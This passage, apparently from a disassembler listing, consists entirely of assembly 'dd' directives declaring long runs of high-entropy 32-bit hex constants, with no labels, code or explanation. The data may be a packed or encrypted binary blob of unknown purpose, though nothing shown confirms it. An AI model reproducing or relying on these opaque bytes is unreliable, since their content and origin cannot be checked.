0D85C2006h, 7117480Ah, 960004B0h, 0B6473267h dd 244DC2D0h, 771C5ACh, 0F0D32761h, 7FC0AF64h, 0CEBB8300h dd 0C5193F79h, 0D17C0002h, 5311256Bh, 69079795h, 7A271858h dd 8FB1E1E0h, 16740EBFh, 0D8C0CD20h, 0FF40A526h, 64210106h dd 37483C37h, 0E9D89EF4h, 0FA0D7890h, 0F0715400h, 0B653CC73h dd 5BCE009Eh, 0E1722C3Fh, 272455F8h, 0E6817467h, 9BCCB197h dd 1C3B21F8h, 0C092D35Ch, 13F17CDh, 0D72CFC45h, 4CBF7C69h dd 351B000Ch dd 9BC1D27Bh, 3C310032h, 0D8F5AE3Eh, 4D25DE41h, 39000021h dd 4223FDBDh, 5E9E1738h, 520DC1Eh, 0EA41E008h, 59104878h dd 54888512h, 2E78E89Ah, 40EC2AE5h, 0E86240B2h, 0E0BD313Dh dd 0ECE3DE69h, 7C6C73ADh, 27E52829h, 5D51818h, 2E0607Dh dd 80B28733h, 15AED867h, 16C7CF2h, 0B1B4A2BFh, 83669C7Eh dd 0DDB29B78h, 28516162h, 29A5985Ch, 7CEA1470h, 7AE2005Ch dd 8400187h, 5A640772h, 0F016CA5Eh, 5FF18BBh, 0F200D070h dd 7327CF03h, 7396111h, 2E676308h, 3B5E6066h, 161C5DDAh dd 0AF40920Ah, 74CEF0B5h, 0A2B80017h, 0ACDD8B6Fh, 0F4004F2Ch dd 0AE449E89h, 38CD2F93h, 6F9EC5CBh, 86EE016Ch, 808C7BA8h dd 0E2B0D38Ah, 138FB613h, 0A5EB37h, 0F97BC6F7h, 0D2008CF6h dd 59CB6912h, 0A8324B1Ch, 0ABB1D98h, 0CDB4A1A7h, 5DBC0C94h dd 21C04E08h, 0CBA7B3FFh, 1871003Eh, 61F0B0F2h, 6A123FB6h dd 0D069FAh, 0C70104A8h, 90E12218h, 776CA438h, 0CD2081F7h dd 645EB23Dh, 6633180h, 0E1F22BDEh, 0EA62BD0Ch, 0C05C08F9h dd 0DE0EA821h, 10002C6h, 93C53CC2h, 0AEE679Bh, 69396B4Ch dd 655D02DEh, 0CCA063F0h, 0E42D859h, 80784148h, 0BA72A006h dd 893F5CFDh, 19A7E50Eh, 2321538Ch, 0AF729800h, 0E6101AECh dd 2AC130D1h, 84A840B8h, 0C7D06667h, 1E559541h, 28796980h dd 12E0FB24h, 9839870Ch, 0C0710822h, 24105F21h, 0F600D6A0h dd 8EC3D76Ch, 18800E6Bh, 611DB689h, 442ACC8h, 2F019423h dd 2AE0FA24h, 5E887718h, 0D4240717h, 0F167C8E9h, 0F0CCCE3Eh dd 5554D15Ah, 7D1CECBCh, 9340B246h, 0DD17A339h, 0E4777Fh dd 1CF88D49h, 0CBA2BE58h, 50FCFD4Ah, 0B5668C00h, 76DC3C9Dh dd 0AFBAFF00h, 0CF603844h, 0E37840h, 0EC0B2F2Bh, 0C47BA9F4h dd 8ED81507h, 30B0C1C6h, 77893F09h, 20ED680Ah, 54DD00ADh dd 0D09042C3h, 8A4A0700h, 77AD4573h, 0EDC41B5Eh, 300C48F1h dd 59FAEC54h, 8D9E0360h, 79C9221Dh, 0C6EB2080h, 0DE70C500h dd 0E7F78928h, 0F2900078h, 1FD495C7h, 0CF1A55FAh, 4351AF70h dd 0A477C014h, 0E34500F4h, 7F07656h, 0C660AA90h, 7EB843A1h dd 2A50C01Ch, 50C1700Dh, 6DCF880Dh, 0B8804994h, 72736CD2h dd 0A600F5E0h, 1205B0AAh, 7011919Eh, 0E11E01D6h, 7292CE0Ah dd 8413307Ch, 950DEF0Ch, 407D283Ah, 0EA004509h, 0EEDF9D55h dd 0A0C88690h, 5472E444h, 0F68842Fh, 0B01AD520h, 838D9C8Fh dd 5946C030h, 9EC9702Eh, 0A66CE907h, 0A86B8A23h, 95D413h dd 4F0261E8h, 87B5936Fh, 18F80A00h, 0EC3BAE64h, 9B470058h dd 13C3F8Dh, 0BE009C6Ah, 6E7E105Bh, 0B3EFC6h, 15892FDDh dd 0B2774FFh, 0F99E5500h, 5C9842Eh, 0EC93011Ch, 62607C40h dd 994EC44h, 0CB38987Eh, 4B3301F2h, 0F014D4CAh, 1CF72D8h dd 40D1C546h, 0C4646086h, 9EF6071Ah, 22ACF400h, 7A2BD7BFh dd 87C0037h, 44464806h, 0B5003C92h, 0EB15E7EFh, 778134h dd 821B8B8Dh, 9F2402F9h, 2B9E0112h, 0CD85BC00h, 0F613D6BBh dd 0FA170062h, 0A2F7B73Ch, 6478CFA1h, 0C4847600h, 1524B67h dd 6B9A0F57h, 488E60B2h, 7D3C8BE0h, 66099E2h, 2DF2D0C0h dd 39430163h, 0C249F42Ah, 6BE609Fh, 0B091D00h, 934171EEh dd 0AAEA00DEh, 0A9CD9252h, 8D000260h, 0C0395E6Ch, 3A50D74Ch dd 31832EC4h, 3B6489F7h, 52258DB8h, 0A6B1840Ch, 1CF1B88Bh dd 0CFD35401h, 37639BDEh, 9F9310DCh, 22631382h, 0E07B8800h dd 0B9B22540h, 88990174h, 64E7FDF0h, 3742C08Eh, 8F0F0B00h dd 0DDF1A144h, 0C391C0F8h, 0E6C7509Dh, 0C6869A06h, 489CD9E9h dd 50A3FCFh, 1E931A3Dh, 316830DEh, 6E021F9Ch, 0EDAE5A4Eh dd 2C5DE082h, 7FE259h, 92E4CCC6h, 0F17B2FE0h, 28E1D00h dd 9A7015FDh, 0C1E02A4h, 0BAFCC910h, 793B607Dh, 0B79B032Bh dd 0D551D8FFh, 7BEEF087h, 0DF50404Ah, 0A1015080h, 0C1D7DA4Bh dd 130C09Ch, 5CB112B7h, 8D2A00C8h, 0CBAFE0EBh, 0FC5BD628h dd 691C491Ch, 583763C0h, 98AE38h, 3ED6219Bh, 7CDDF543h dd 4B005F7Fh, 200F132Ah, 925C15h, 1ED6BE23h, 0D38F34CCh dd 0F0588600h, 0FC30797Bh, 972738E6h, 0ED518980h, 71E0B74Ah dd 0BEB8081Ch, 0A521C600h, 7942DD03h, 0A1A90164h, 0B37CFF53h dd 49D5F4D9h, 3E01BC73h, 9E2F6734h, 0E08F318Bh, 0A9406865h dd 0E524C8E7h, 213D800h, 2E9B3EE8h, 691072Ch, 0F087037Eh dd 0E23C8972h, 0C123D201h, 71572D12h, 9F404C0h, 0FA679253h dd 0FB8DF000h, 0E3695FF3h, 915B806Ah, 393B5721h, 0B200C6E4h dd 28660A49h, 0A300817Ah, 6C9EB5EDh, 717AA45h, 0BC71A8E6h dd 0A9277047h, 0E10A11E3h, 9810C4ACh, 77BD803Fh, 0BBD9FCD2h dd 63B001E4h, 85901EDBh, 0C268D857h, 3410F924h, 307DA04h dd 4581C01Ch, 70D5B250h, 60095FAh, 61379394h, 7B4471CDh dd 0F6C90031h, 2E32BB26h, 10008324h, 7D11FDEh, 31EE0Ah dd 9A7A58B6h, 9E6B4D94h, 7C00F9F0h, 2B0A3525h, 769D89DEh dd 68CA03ABh, 0CE58D995h, 0FA82B580h, 92B4FB00h, 5D7C8329h dd 0E511006Dh, 2A324126h, 0AC0CD66Ch, 0B8270F43h, 58FB0338h dd 3C10ABE6h, 0B861C000h, 4A6C667Ch, 0F5750317h, 0DBAC0BA2h dd 0FD80CABh, 8B00370Eh, 609BDA20h, 0A17665h, 0DE84F4CBh dd 0A58AAC3Fh, 1C2B4Dh, 447CD0ECh, 0AE63D3h, 2EB6387Bh dd 80AF1E81h, 7EABA000h, 2C71209Ah, 0DED200ECh, 6A109951h dd 0AEE4E631h, 384AF11Eh, 271B7CC0h, 0F3305E5h, 0CF675B1Dh dd 5C71F9E0h, 8C009039h, 0A638881Ah, 0B86EBDD1h, 0CBDF018Ch dd 1FAF9D8Ah, 13F2E404h, 535D2900h, 0E23B6A99h, 18F40082h dd 87E8F616h, 0F700C1E4h, 368F676Dh, 0EA94FEE7h, 69730046h dd 0F93F2741h, 33007722h, 5FF629A0h, 1BB58A6h, 0CC648E1Ah dd 0D4EB3BEFh, 60004F46h, 0FF84E7B7h, 0E4A901h, 59CFDE9Ch dd 56665754h, 0E75DB31Fh, 2D006424h, 0A7727BEBh, 7CF10016h dd 0BE8634B5h, 0A3C0ECFh, 2F5B80E9h, 67D329BDh, 0F15715Dh dd 12348086h, 71419F80h, 0AA58FCB0h, 65190192h, 2CDDD6Fh dd 4D146884h, 0EB0600C3h, 240E9986h, 10840E4h, 0D069A233h dd 30DDFD9Ch, 0BD3D750Ch, 147F263Ch, 74EE4681h, 5C204195h dd 0BF79007Dh, 45375B15h, 0ACFFA9FCh, 1D078539h, 33306A89h dd 9C1DF9Bh, 0AAB0B494h, 0F5202C2Eh, 0EA35D1D0h, 4B119E00h dd 9A75B838h, 6479A0h, 441D36BFh, 0EDB4F6C2h, 0F70099E6h dd 901C3C70h, 0D6E93Dh, 8116CD57h, 0F92B9B69h, 0F77A3000h dd 8F0C841Bh, 0BE8E07A8h, 0E0A95E99h, 7B66B824h, 22B26C00h dd 15A24DA0h, 50DF47h, 8DAF809Ah, 7A73DB7Dh, 74EAE8F8h dd 27ADDF00h, 293E1988h, 5FC20087h, 84D403Bh, 0B5006261h dd 732BDBB9h, 1CA03726h, 6C93BAD1h, 7A4D00D8h, 2D55608Bh dd 8EFFF700h, 0A8199D84h, 0BADB00A6h, 0B03DEBF8h, 522649F9h dd 540AB895h, 9C008862h, 0FBA70BDDh, 94609DD7h, 7D157EE8h dd 0F8A264h, 418DF997h, 50DAACh, 0ECC62C2Ah, 0D11B8A9Ch dd 0C0E308FEh, 270024E7h, 2FCCAF2h, 7AD47C96h, 0B9DE00E0h dd 0C79FA66Eh, 67038601h, 8337B65h, 0D89000B1h, 66D4CE1Bh dd 400C5AEh, 0A1EB41BDh, 0F18884Dh, 9326A8F4h, 20803527h dd 0AE8CB692h, 7638E400h, 0EC01B23h, 1CB02C5Eh, 3FC50013h dd 7A68A4D8h, 0EEF1ED13h, 1D5DD840h, 0F9A7CBFh, 792B4E6Fh dd 6CACA6C0h, 0C5000196h dd 0FD5925C7h, 5DB7C002h, 2902B073h, 4BAF087Ah, 0CAC254E8h dd 8503367Eh, 0ECE3E853h, 6E6100E6h, 0E7660789h, 60676F4Dh dd 0B9565B08h, 53088020h, 2F89E5h, 311D6B24h, 0BC207A01h dd 2881D221h, 0CB600775h, 0D8E186E1h, 519696Dh, 0BC2052FFh dd 0ED7E26E0h, 74975ECh, 2D741107h, 0C30EC8E8h, 42E146E6h dd 0EAA90028h, 6E95273Ch, 800007ADh, 8D0B6084h, 0A2FA12h dd 37DBB135h, 2ACE9E3h, 0E2C1280Eh, 0ABC0413Dh, 0FCC418D7h dd 74E00090h, 5E43E3C8h, 0FD0F759Ah, 0E0D22DD4h, 0B2A38DBBh dd 0F4633A34h, 0C72A0E80h, 7F5F3991h, 0F7BC031Dh, 38C0807Dh dd 3359A0BFh, 9AD60095h, 0E9D5923Dh, 0A003C77h, 0D7B2B63Eh dd 8D1A9Eh, 306CA64Fh, 0D432D980h, 0B002514Ah, 0C0E3DF9Fh dd 74E3A87h, 945EB428h, 0EB7750FCh, 0AC000F1Dh, 0C9EC015Dh dd 24EE0AAh, 83BF161Eh, 54687ECDh, 5B0FB7C5h, 47C9EE05h dd 1C60C6D4h, 94D03C03h, 1FC09B0h, 201AD400h, 0CC071FC3h dd 0A1F1806Fh, 4DE1B6B0h, 1667916h, 0AFF01B4Eh, 0F4E5363Bh dd 0ED1DCEA2h, 9D848717h, 0C0EBC0A5h, 97E21F71h, 85791200h dd 0C1538B16h, 0C3370BF0h, 10007E18h, 6D38EA94h, 41B72C00h dd 0AE030A26h, 17610F02h, 0FC00D4FAh, 49C57852h, 6AE45303h dd 889FAD10h, 61807E05h, 0A25F686Ch, 0B103DCD7h, 5DE74103h dd 80063313h, 72168B4Bh, 0EC5C2C01h, 32F00094h, 544F2C73h dd 19D64A03h, 0C08FB930h, 0C55311h, 67DB3CE4h, 7A7E0AAAh dd 6ADA3700h, 0E05C4724h, 1CFC5C64h, 76549601h, 71780BFBh dd 111BDD94h, 0F460F3D6h, 516E2E2Dh, 56888384h, 4FE83760h dd 0BA79B179h, 0EC1414B2h, 2EA7CF5Bh, 5D801C42h, 5993820h dd 68A00EF6h, 3CA0817Ch, 0D08A2C9Dh, 0CCB87E00h, 0A953C5BAh dd 0EF1E5858h, 0FEC40E7Eh, 2D619E8Ah, 30BAEAE1h, 1C73DEDCh dd 4EC6260Fh, 5AB720A2h, 790FA8h, 2EC29605h, 0DCCEED12h dd 0A6927A00h, 73C96B76h, 3C91008Ah, 0B5582E14h, 5D28BD24h dd 1901E884h, 8D063899h, 0D0CC47CFh, 0AF18005Ch, 0A6F7BF65h dd 841E419Ch, 0A5802AD9h, 0E33A2F75h, 0F92400E1h, 47B737F4h dd 0B216D339h, 5849AF9Fh, 1A044F1h, 3A44C174h, 0FD73CCC9h dd 0A6EDFC33h, 510FF098h, 80C72EC4h, 58DA7074h, 607200A1h dd 0B416386Dh, 0C40EEC42h, 0D4064D5Fh, 92120080h, 0EEA01333h dd 0B6B0E5h, 1532ED9Fh, 5F3A0E5Ah, 0A2FCAE12h, 0A64CCD0h dd 35C5144Ch, 4E11EC77h, 0E37003BBh, 0BB98AA1Bh, 865FE0FBh dd 0EA1D0148h, 38E12CD2h, 54E464B4h, 0E2C2EF12h, 87B1404h dd 0A6A48Ch, 0FB9733F4h, 5932F8AFh, 8CF62500h, 0F269A40Bh dd 107BBEh, 9007F398h, 990EE835h, 0BC065002h, 48BABF9Bh dd 885528h, 0A7818E95h, 0BB518BA0h, 0C0C0DEF9h, 0D0A09C1Bh dd 3D1837F1h, 4C88FF18h, 0DABD024Dh, 0FC58B160h, 0D0DE65C0h dd 91AA790Fh, 6BD80054h, 18721h, 0CFAF034h, 2F457786h dd 165CA012h, 43315C08h, 6BE96951h, 0FC98E5E4h, 1804798Eh dd 57B20BB7h, 79224C8h, 6E907E72h, 8326E459h, 43F9D0C0h dd 0C7752013h, 0AFF59D00h, 0BD642E27h, 9CCE09F9h, 7400C2D4h dd 0B374266Bh, 2F1DA800h, 437233EAh, 4E4800C0h, 7F18F125h dd 0E23BC99Eh, 0F962877Ch, 400FD8FBh, 0CC61214h, 207B0Fh dd 0ADA74FCh, 0F58CF706h, 384AB300h, 0C2E2FFAh, 0B7600021h dd 7CF5939h, 0F8F5156Ah, 1D3F8C4Eh, 0ECDF032Bh, 3A914731h dd 0F1DE628h, 0D0CA407Eh, 3537698Fh, 98D11C12h, 0B3E86080h dd 5D8A307Ah, 0FBE99F30h, 30825E1Ch, 0CE802C5Eh, 7D9DCA52h dd 0F2E1E96Ch, 2D94E0E6h, 94BF1890h, 0CCC1110Eh, 0F4083100h dd 0F123444Eh, 895D03F5h, 0A0309B1Ah, 0AA1720D7h, 3B547299h dd 632C16CCh, 8400EFDBh, 3C29ADFAh, 35EE2C49h, 62A901B5h dd 28C0A1D7h, 3BB6007Ch, 921C100Ah, 7265FEC2h, 7DD0130h dd 0D622E3B2h, 5A1FC841h, 1FB90C0h, 0D26DD1h, 0C68ABB37h dd 67B9C2CCh, 4AA47B16h, 7E034807h, 0FD683520h, 2C100C4h dd 0DB5B388Fh, 6712EA56h, 0EF57B7h, 69E4B63Dh, 9116C62Dh dd 0B300E637h, 75336EB5h, 1F096F7h, 0BD820B11h, 2134D02Ch dd 69ACF200h, 9D22EAB1h, 283F4823h, 4F3E721Fh, 89E0730Eh dd 0E526790Ch, 0F4325C07h, 61A018BAh, 24602993h, 1D0F996h dd 0FAA8E62Fh, 0D9CDF430h, 2C0139EEh, 9F39B6Dh, 27D08E2Dh dd 19040985h, 0A005EAEFh, 0FC6C925Eh, 75CB8D10h, 242E00C2h dd 7CD6BBD0h, 0C3320D92h, 81149873h, 0FFD5FDB8h, 0DA46D183h dd 0F5D0E13Ah, 9025E37Ah, 0A0D42EF4h, 0C78CB3A4h, 268600DDh dd 0B8078811h, 800034B6h, 0E601C051h, 1D438E8h, 4233864Fh dd 0E488136Bh, 8303DD70h, 262DA274h, 2155F0E0h, 0C1E4E756h dd 0E1F81E27h, 11C200D7h, 4C0CA424h, 18998A01h, 0B5108773h dd 4851D850h, 0F66EA12h, 0C32139ABh, 611E9C0h, 71002373h dd 2E463A5Ch, 1C78D960h, 0C0374782h, 0BD2FB8F7h, 0F00085C6h dd 8AD70CBh, 241BBB5Ch, 3CB42B0Bh, 0ACF9CF03h, 0FDC813D3h dd 0ED7CF320h, 90382300h, 6D3D511Ah, 30FB00ABh, 894BDBC9h dd 2077BF2Dh, 0E22B1901h, 498D5FE7h, 0D4D0CEh, 0B43F4E6Eh dd 0F6AD168Ch, 0A0DA2100h, 6C3020C7h, 685A00CCh, 9C7E65B9h dd 2300DF44h, 9D51991h, 907F53FBh, 1806A13Ch, 9689B06Bh dd 0A305877Eh, 0F9981AF7h, 0FC4F8F80h, 1B460195h, 4757D6E3h dd 982CC7h, 0F9036B66h, 1262ADh, 739FC534h, 529E4220h dd 6000CD71h, 19165DE3h, 4DEE7FA9h, 78009CE2h, 0DE50D5B7h dd 0E900243Fh, 40C672D3h, 56D3E70h, 0EB36289Ah, 3D788CF3h dd 0FE2EEFFAh, 7109821Ch, 0C4CC881h, 880512DBh, 0BC30012Fh dd 0D1B82655h, 28C8D980h, 88888D4h, 17094C3Fh, 0C444804Dh dd 0C3E1FCE7h, 6C9C0899h, 0E2033078h, 0E84F413Fh, 953A007h dd 66B10027h, 24C6B3Eh, 0AA00582Bh, 91554D08h, 0E843C45h dd 326DB7ABh, 0E3094B81h, 7B58838Fh, 5DE00741h, 4B00F448h dd 0BCE19FE6h, 0CA2D2745h, 0E41C803Ah, 0CB274A6h, 41175A56h dd 0E14AC728h, 42ABE408h, 0D50165B0h, 6BD82D31h, 1304F689h dd 9074DCAh, 0EC46E675h, 5EDDB100h, 2D336876h, 0AE4E1EF8h dd 606E4340h, 0AA80747Ah, 543D0763h, 934A00F0h, 354E36E5h dd 91A80024h, 0B6570B04h, 390BFDBBh, 82B1445Dh, 0A550A600h dd 4386198h, 1CCD3E75h, 0D0853012h, 0C6FBE3CCh, 0FDBCAB01h dd 2D64E127h, 210F0898h, 0C6071329h, 0DDB68812h, 8BC57D60h dd 0A46E00F9h, 6303EAE4h, 3C027C02h, 0C3F8C8E1h, 57B7C014h dd 92320258h, 44CBA146h, 6860B8A0h, 0A40020FCh, 0DCA8D4E9h dd 111ADh, 6B043E8Eh, 257B062h, 566120C0h, 0A71652D6h dd 97E18820h, 0B987AC0h, 30F8019h, 0A09BBF25h, 226541C8h dd 37E8244Dh, 47E00C00h, 21C35E08h, 0B8222D27h, 3C77A2C4h dd 4A9DA33Bh, 0C9030064h, 0FDDB10E8h, 406FA8A8h, 582F9700h dd 0F43F747Ch, 0A141000Bh, 0FBBD37E7h, 24923D80h, 1B13DA00h dd 4D2FFFBBh, 1D3F84Ch, 0D5837A69h, 47E68870h, 0D8408198h dd 4AB889DCh, 3841079h, 0E8FE03B1h, 0F960EC62h, 593BCBD3h dd 0E4372B1Dh, 94C60401h, 1618F5BCh, 1C2888h, 729D7C6h dd 0C50E3698h, 4608ADF0h, 0EE960D4h, 31B808F9h, 0A038D73Ch dd 0CBFA7CFAh, 0CE71300h, 48EE4740h, 7A1CE59h, 0C8DB1C84h dd 5304ED28h, 1F6068A6h dd 27088081h, 0C2DC088Ch, 0B807AC20h, 464358A6h, 2D688A3h dd 7A8EF578h, 544955EDh, 0C9753074h, 0E84EBE32h, 0C61F302Ch dd 0C6BC973Eh, 25000D22h, 8EB8C617h, 94C86Dh, 5CBEF767h dd 0E37840BCh, 0D4A1140Ah, 8140E4E6h, 0FC9D7733h, 0C7D6244Fh dd 2C63C90h, 0BC90C618h, 100C3115h, 0FCC61024h, 0A708035Dh dd 70EE52FFh, 0EC801AFAh, 3EEC3B37h, 28184400h, 0EEBEBD7Ch dd 2182ED90h, 218C6823h, 6122FC80h, 8F2ADE7Ah, 9B0084F9h dd 0D68486EFh, 392D9332h, 0D504681Fh, 0C89AD7AFh, 7B003590h dd 0D0B6CF13h, 1BEE23BDh, 0A946A8B9h, 0ABB3701Eh, 37606107h dd 0A13381C9h, 10BF6D07h, 49CA024h, 103E0F8h, 0C640905Ah dd 46F0A0A0h, 0A64F0210h, 317F6064h, 0B44810D7h, 0C48E0FA6h dd 0B2A5F9D0h, 1C88041Eh, 6864007Ah, 6BD5092h, 0A4B848E9h dd 8E011815h, 6C747FD3h, 0E3D45E7Ch, 0E16F609Fh, 2B5B7364h dd 0CF01A278h, 6CC04AD7h, 0E84242C8h, 9CF441B9h, 22086818h dd 0C41FE850h, 302C4058h, 3630B22h, 0E336D992h, 0C105ECDBh dd 17D25EC8h, 4AD483h, 0DEB33631h, 3DD6D4D7h, 892DA00h dd 0A24E1E9Ah, 0C49B5297h, 4355651Ch, 0EABC4ABBh, 74855113h dd 1EEC491h, 0C091DA9Dh, 4752B044h, 329CFAAFh, 0C9029407h dd 3390C7B7h, 0D2D5D467h, 0D3080CB9h, 0B512BD51h, 10430188h dd 983B6BEFh, 0B87A9278h, 52230056h, 4B971FACh, 803003EEh dd 8BF981C6h, 75860F9Ch, 0BE217049h, 50604A1Ah, 195192E0h dd 5C0FF226h, 0E6EF7A43h, 0EA14A069h, 3533F8F3h, 8C66EDCh dd 0FAC03194h, 46BCAEC6h, 0E41022E5h, 0E4C60612h, 0FA5DD2C5h dd 343B402h, 0CB874A2Eh, 9607FD0h, 581680CBh, 0E802EC89h dd 5A0213A3h, 0F2040B3h, 84B7804Fh, 0E82008B0h, 0F23F83Eh dd 7061EA07h, 0BC604092h, 9233207Ch, 0A4E38209h, 3688640h dd 6CC109D9h, 24084728h, 1D26BEB0h, 10465E00h, 0B0A5AA03h dd 9290A21Bh, 1E6BE54h, 0D9FBD431h, 2D20AB30h, 0F808030Ah dd 941FFD57h, 0E0D6FE80h, 44BEE509h, 0FC800312h, 6090504Dh dd 0DC0C34B8h, 0C38CC3C8h, 40C53B4h, 1AD8140h, 6B28F19Eh dd 83B480EEh, 0D0F860F9h, 0D3018F2h, 7A02F1A6h, 2E206816h dd 30939022h, 51112269h, 538857E8h, 22312380h, 0B119A214h dd 0C2AB8070h, 0CA320D6Dh, 0F9339501h, 1D2DBE3Bh, 12F21022h dd 12174630h, 2080853Ah, 0CFD5BF9Ch, 3F5F5B00h, 0FE553E83h dd 18DE0042h, 0CCDBB037h, 0E0A4BE51h, 3C40601Ch, 0C8E6E030h dd 48045D70h, 0D0EC7A09h, 36F964A0h, 8018A2D4h, 9320098Ch dd 0CDC4A023h, 51D10FA7h, 0DF00B603h, 6A6E1BA8h, 8B7E3Dh dd 6D649FBEh, 39CB1126h, 2F5EC33h, 0EA708619h, 98C814B3h dd 0B9158D54h, 0FBC0689h, 0C4AEAB22h, 0BCC27174h, 24C06983h dd 93402180h, 1D05F9AEh, 0CA03CE7Ah, 50A4BC20h, 0BF500058h dd 33F3D26Ch, 0DC1641E3h, 9C03D7F8h, 0F8A2CB60h, 0F19C3802h dd 58B7D450h, 92800F9Eh, 578CAD33h, 52007319h, 3B48011Eh dd 35646C8h, 323A693h, 0AD989766h, 0FCC6B863h, 5E7AF0CEh dd 0D49C021Ch, 6D00C3E0h, 1E765FB7h, 0CFD7101Eh, 0BCE64041h dd 0C800A85Ah, 66C59330h, 0FA175378h, 2F39C0FEh, 367B4210h dd 0A356B707h, 950070A0h, 1453BA5h, 194D58F2h, 243F8033h dd 6D0FEB2Ch, 0E0CD25DDh, 81AAC162h, 0F4710287h, 0E707D6EEh dd 3D542CC0h, 501171Fh, 6F504181h, 0A5C2D57Ah, 6C87C4ACh dd 7F082FE3h, 0BD9E17C8h, 0BE340A04h, 0AEAAC0D0h, 0A9467405h dd 7D00F722h, 0C223AE92h, 7A035396h, 1F0705C5h, 2043FE65h dd 0A89046BCh, 1D68DF59h, 0B4645798h, 6E609244h, 0E8255622h dd 44166Fh, 37223626h, 6B460FB4h, 0CFFE0306h, 321629Fh dd 0DDB7BA9h, 67EA7208h, 90E84080h, 0D3881A24h, 0D4C81837h dd 0B07A1019h, 989948A4h, 0F0185C71h, 17C9DB00h, 0E26740C2h dd 6325266Ah, 26080828h, 80BC8814h, 171AD597h, 64A80B4Eh dd 8420BA2h, 60538C84h, 2318AE95h, 0F111A174h, 0AEBD4200h dd 0B1F20E8Fh, 8001E3B8h, 0A6BA27ECh, 0E4304107h, 70480923h dd 9490DBFCh, 91428728h, 50603110h, 0FA400CA8h, 0DB2628BDh dd 6B18EB84h, 0E84B2208h, 4059C447h, 0CE223321h, 57B10676h dd 0A9F68810h, 0B83E8B00h, 8FAA30E9h, 0CA3D00DEh, 0A440A616h dd 0B3393BFEh, 70D5046Dh, 26010B08h, 0C0552BC2h, 9EE2E147h dd 7298207h, 300B57A8h, 12E54DCh, 9C848681h, 0FC1AE96Eh dd 6830790Eh, 0BE01E911h, 48502C64h, 0C441031Ch, 0E871E1F0h dd 3255FCC4h, 3E148CC1h, 6CBE1F00h, 37EDB700h, 755994E3h dd 3A44303Ch, 0FB22BF40h, 666EF02Ch, 0CE390D00h, 3CE1E6BAh dd 7A845206h, 0C326CC9Ah, 22816006h, 0C0408661h, 74807F62h dd 79B7F4ECh, 907A3863h, 85079EAh, 0A800E394h, 73F22BCh dd 30124AC3h, 62A64530h, 116F6023h, 52727EE9h, 0D1CBE500h dd 45292EC4h, 0D8F0C21h, 7BD8DAA1h, 28C4BF88h, 0F48442DCh dd 0E3B0AA6h, 0C0F8B803h, 0E84C2264h, 45107F46h, 2C200003h dd 1A601122h, 0AE250137h, 89938179h, 58A83938h, 0C95600EBh dd 32A4B6A7h, 0F31B17CDh, 7F5C0423h, 1F09EDh, 0B89146E2h dd 0A054E264h, 13EE4894h, 2AAFECDh, 603B80D4h, 0B9631400h dd 1CF70955h, 0A4E01572h, 0CE03A508h, 5A7C4AC5h, 1CE1C490h dd 27DEDB20h, 68A2853Fh, 0E0E951C3h, 842AF2E2h, 9EC2925h dd 85B818CCh, 4019DE7Ah, 68F908D0h, 0D3002E2Bh, 0E53C5B11h dd 4B95AE41h, 31285DABh, 8CBC98F8h, 794B9C11h, 38BB00C1h dd 14893BCEh, 30E73C78h, 6B4EF51Eh, 0D523142Fh, 0F920003Ah dd 98602689h, 905CBA97h, 112826FCh, 0ADE050B4h, 8BA2C09h dd 16808335h, 0E7C3AA69h, 600CE4ECh, 0C98CD2h, 0B6CD0DC2h dd 5183FA73h, 0C8B48622h, 50C013D8h, 466069A6h, 0D62257h dd 0F9A6B9A3h, 36CC4FABh, 80F6CB80h, 332502FBh, 9C000EACh dd 54F9B700h, 549C705Ah, 264F8E1h, 4680B5A3h, 6DC0BCA1h dd 1E4F9B42h, 0CC10C87Ah, 0B209840Ch, 7220426Ah, 90439646h dd 9B30D5A2h, 0F5E2B4h, 99B2FE2Fh, 5AB10333h, 64973A00h dd 4608E4A7h, 547B1267h, 41A84168h, 0CCCDBEA1h, 4004156Ch dd 6ED40A0Bh, 0A73058B8h, 0E29FAD2Eh, 5C50E000h, 0B0244386h dd 0C5A3001Fh, 620E7417h, 63000694h, 0CE46564Fh, 0FC154BE7h dd 372D0F81h, 6DC3DF7Fh, 8C90F186h, 1C0F05D6h, 8078D48Bh dd 99C4FADBh, 0B9350176h, 0CF5E22E3h, 0CFE1C1F2h, 0C7CB9800h dd 553774EBh, 7DFFA21h, 61515AACh, 0FF568017h, 1200E0BBh dd 0F8FAEB20h, 7274842h, 8EA0EAE5h, 0B96B3015h, 539C11Fh dd 0AF00FE9Eh, 7CF543Eh, 783779B6h, 4EE000Dh, 665C182Ch dd 0F900ADC8h, 6D862671h, 2A1A088h, 4068A2C7h, 0E884475Fh dd 778EC0Ah, 0BB9BDDA3h, 0F01E1790h, 450C01F1h, 4DAAB2D3h dd 0AD4F832h, 89157775h, 5E8BF83h, 6F4968CBh, 43508D87h dd 4C773Dh, 0D3B735F2h, 1014ADD8h, 0CD58D960h, 204F66C8h dd 774F53AFh, 7C193C92h, 0C1108058h, 0F3BBAE09h, 5E894C00h dd 0D0686F34h, 35701FB1h, 7D80FA8Ah, 185CCA8Fh, 3300A040h dd 985187E2h, 3557D3h, 9C20E837h, 81E8E47h, 0F6ECFC62h dd 8856E3h, 0C01746B4h, 7200E7AAh, 5E42269h, 79A755h, 1DCEB350h dd 91ED9F44h, 406A2313h, 83C4DCE1h, 64A900D2h, 0FEFC5F6Ch dd 9E1F93F9h dd 0E540848Eh, 0E99C4E24h, 5A77003Fh, 0C17CDBA5h, 2D07DE59h dd 300FAB90h, 335F6091h, 1CF54BE4h, 4097743Eh, 9DDD6A5Bh dd 0F92D02F4h, 0A210604Ch, 0A39100DCh, 0A50516D7h, 0B900A6CAh dd 0D4DE348Fh, 9D0680h, 428395FDh, 7FB7E41Fh, 53084702h dd 698E3892h, 80417A64h, 0BBC0724Ah, 83AF2E4Ch, 0E2B70052h dd 0B26747D7h, 0E1FF4107h, 0DA901768h, 8BFE3Dh, 0AF129C63h dd 2C6D39E7h, 0BA18739h, 804B3662h, 7DB5B25Fh, 5B490211h dd 128F4F3Eh, 73FAD060h, 29D60F1Dh, 0C3B13F00h, 0ECAA64B6h dd 0BE2B1F78h, 0F3201AFh, 0CCEEC974h, 4F016EB3h, 0D9885620h dd 0C088C1A1h, 94805E72h, 0FFAE1BE2h, 9F650067h, 0E660BD08h dd 0B800A531h, 0EE0AE3F2h, 409B4Bh, 9E5BF885h, 0A61C5D79h dd 0B46CD100h, 0BFD4F263h, 5FBC0047h, 0A7806B37h, 6CF0CEE5h dd 0A9A3AE00h, 0EE0B502Fh, 0DBC91DBEh, 0B260C093h, 9FC87A37h dd 0A8CA724Fh, 8906E61Fh, 90DAF59Dh, 4E42EB5h, 0B8A70Eh dd 0B5E810h, 540A4DCDh, 